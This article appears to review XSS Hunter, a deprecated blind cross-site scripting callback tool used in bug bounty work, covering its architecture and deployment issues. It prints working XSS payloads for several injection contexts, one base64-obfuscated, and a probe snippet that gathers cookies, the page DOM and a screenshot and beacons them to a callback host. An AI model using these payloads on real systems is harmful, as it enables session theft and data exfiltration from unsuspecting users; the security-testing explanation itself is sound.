> your AI agent picks dependencies from memory; give it dated facts — try starlog.dev ↗ vet your agent's deps ↗ vibe-coding is fine. vibe-importing isn’t. — try starlog.dev ↗ vibe-importing isn’t fine ↗ your agent has never seen your private packages — try starlog.dev ↗ facts for private packages ↗ a linter for the dependencies your AI agent picks — try starlog.dev ↗ a linter for agent deps ↗

Back to Articles

XSS Hunter: The Deprecated Tool That Changed Bug Bounty Hunting Forever

[ View on GitHub ]

XSS Hunter: The Deprecated Tool That Changed Bug Bounty Hunting Forever

Hook

A bug bounty hunter injected a single XSS payload into a contact form and forgot about it. Three weeks later, they received an email with a full-page screenshot of an internal admin panel—complete with cookies, session tokens, and the entire DOM. That's the power of blind XSS detection.

Context

Before XSS Hunter emerged, finding blind XSS vulnerabilities was like shooting arrows into the dark and hoping to hear a thud. Penetration testers would inject payloads into contact forms, support tickets, and log aggregation systems, then manually check back days or weeks later to see if anything executed. Most never did the follow-up. Those who did often found vulnerabilities had fired in administrator panels, internal monitoring dashboards, or support systems—high-value targets they'd never have direct access to test.

The problem was correlation and persistence. When you're testing dozens of applications and injecting hundreds of payloads across different input fields, tracking which payload fired where becomes impossible without automation. Even worse, many blind XSS vulnerabilities only trigger when a privileged user reviews the data—sometimes weeks after submission. XSS Hunter solved this by creating a distributed callback system where every payload phones home with comprehensive exploitation proof the moment it executes, no matter how long after injection. Created by security researcher mandatoryprogrammer, the tool became legendary in bug bounty circles for finding critical vulnerabilities in companies like Tesla, Spotify, and GoDaddy.

Technical Insight

Creates account

Assigns unique subdomain

Requests payload

Generates script tag

Injects payload

Executes in victim browser

Captures screenshot, DOM, cookies

Exfiltrates data via subdomain

Routes by subdomain

Sends alert

Email notification

Tester Account

Payload Generator

Vulnerable Application

JavaScript Probe

Node.js Server

Mailgun Email Service

System architecture — auto-generated

XSS Hunter's architecture is elegantly simple: it's a Node.js server that generates unique JavaScript payloads for each tester, serves them via user-specific subdomains, and collects exfiltrated data when those payloads execute in vulnerable applications. The subdomain-based identification system is the key architectural decision that makes everything work.

When you create an account, XSS Hunter assigns you a unique subdomain like username.xsshunter.example.com. Every payload you generate references this subdomain, allowing the server to route callbacks back to your account without requiring authentication in the payload itself. This is critical—the payload needs to be as lightweight and universally compatible as possible. Here's what a basic XSS Hunter payload looks like:

<script src="https://username.xsshunter.example.com/probe.js"></script>

When this executes in a victim's browser, probe.js loads and immediately begins data exfiltration. The actual probe code is sophisticated, using HTML5 Canvas API to capture full-page screenshots, traversing and serializing the entire DOM, collecting cookies and localStorage, and capturing the current URL and referrer. All of this happens asynchronously to avoid blocking the page and revealing the attack:

// Simplified example of the screenshot capture logic
html2canvas(document.body).then(canvas => {
  const screenshot = canvas.toDataURL('image/png');
  const payload = {
    uri: document.location.href,
    cookies: document.cookie,
    dom: document.documentElement.outerHTML,
    screenshot: screenshot,
    origin: document.location.origin,
    referrer: document.referrer
  };
  
  // Exfiltrate via image beacon to avoid CORS
  new Image().src = 'https://username.xsshunter.example.com/callback?' + 
    btoa(JSON.stringify(payload));
});

The server receives this callback and immediately triggers a Mailgun email notification with all the exploitation proof. This instant feedback loop transformed blind XSS testing from a tedious manual process into a fire-and-forget operation.

The wildcard SSL requirement is another interesting architectural decision. Because XSS Hunter needs to serve JavaScript from user-specific subdomains, and modern browsers won't execute mixed-content scripts on HTTPS pages, every subdomain needs SSL support. Rather than provisioning individual certificates for each user subdomain (which would be computationally expensive and complex), XSS Hunter requires a single wildcard certificate (e.g., *.xsshunter.example.com) that covers all subdomains. At the time of development, Let's Encrypt didn't support wildcard certificates, making this a significant deployment barrier.

The payload generation system is also clever. XSS Hunter provides multiple payload formats for different injection contexts—HTML tags, JavaScript strings, attribute contexts, and even polyglot payloads that work in multiple contexts:

<!-- HTML context -->
<script src=https://user.xss.ht></script>

<!-- JavaScript string context -->
';var s=document.createElement('script');s.src='https://user.xss.ht';document.body.appendChild(s);//

<!-- Attribute context -->
" autofocus onfocus=eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHBzOi8vdXNlci54c3MuaHQnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocyk7')) x="

One of the most powerful features is the secondary payload system. After the initial probe.js executes and exfiltrates data, it can optionally load additional JavaScript specified by the attacker. This enables chained exploitation where you first detect the blind XSS, then load a more sophisticated payload for privilege escalation or lateral movement. The separation also keeps the initial payload small and fast-loading, improving reliability.

The client-side PGP encryption option addresses a real privacy concern: if you're bug bounty hunting and exfiltrating sensitive data from corporate admin panels, you probably don't want that data sitting unencrypted on your XSS Hunter server. By encrypting the payload data client-side with your PGP public key before transmission, only you can decrypt it—even if your server is compromised. This was ahead of its time for security tools.

Gotcha

The elephant in the room: this repository is officially deprecated. The author explicitly recommends migrating to xsshunter-express, the modern rewrite. Any time invested in deploying or maintaining this original version is wasted effort since there's no ongoing maintenance, security patches, or feature development. For a security tool that handles exploitation data, running deprecated software is particularly problematic.

Even during its active maintenance period, XSS Hunter had real deployment friction. The wildcard SSL certificate requirement meant you couldn't use the free and automated Let's Encrypt solution (until they added wildcard support in 2018). You had to purchase a commercial wildcard certificate, set up renewal processes, and handle all the infrastructure complexity yourself. The Mailgun dependency for email notifications also created a potential failure point—if Mailgun was down or your API limits were exceeded during a critical test, you'd miss notifications. For sensitive penetration testing engagements, relying on a third-party email service for exploitation data might violate confidentiality requirements. The architecture assumes you're comfortable running a publicly-accessible Node.js server with wildcard DNS configuration and SSL certificate management. For security researchers used to running local tools, this operational overhead was significant. Many users struggled with the DNS setup, particularly getting wildcard DNS records configured correctly with their domain registrar.

Verdict

Skip this repository entirely—it's deprecated and the author explicitly directs users to xsshunter-express instead. There's no valid reason to deploy the original version when a maintained successor exists. That said, studying this codebase has historical value for understanding blind XSS detection architecture and the evolution of bug bounty tooling. Use the successor (xsshunter-express) if: you're serious about blind XSS hunting in bug bounties or penetration testing, you need automated correlation between injection attempts and payload execution, you have the infrastructure skills to self-host a Node.js application with wildcard SSL, and you test multiple applications where blind XSS is in scope. Skip if: you only test single applications where you can manually verify XSS immediately, you're uncomfortable managing public-facing infrastructure, you prefer managed SaaS solutions like XSS.Report, or you're looking for general XSS detection (not specifically blind/stored XSS). For most developers, ezXSS offers similar functionality with easier deployment and no wildcard SSL requirement.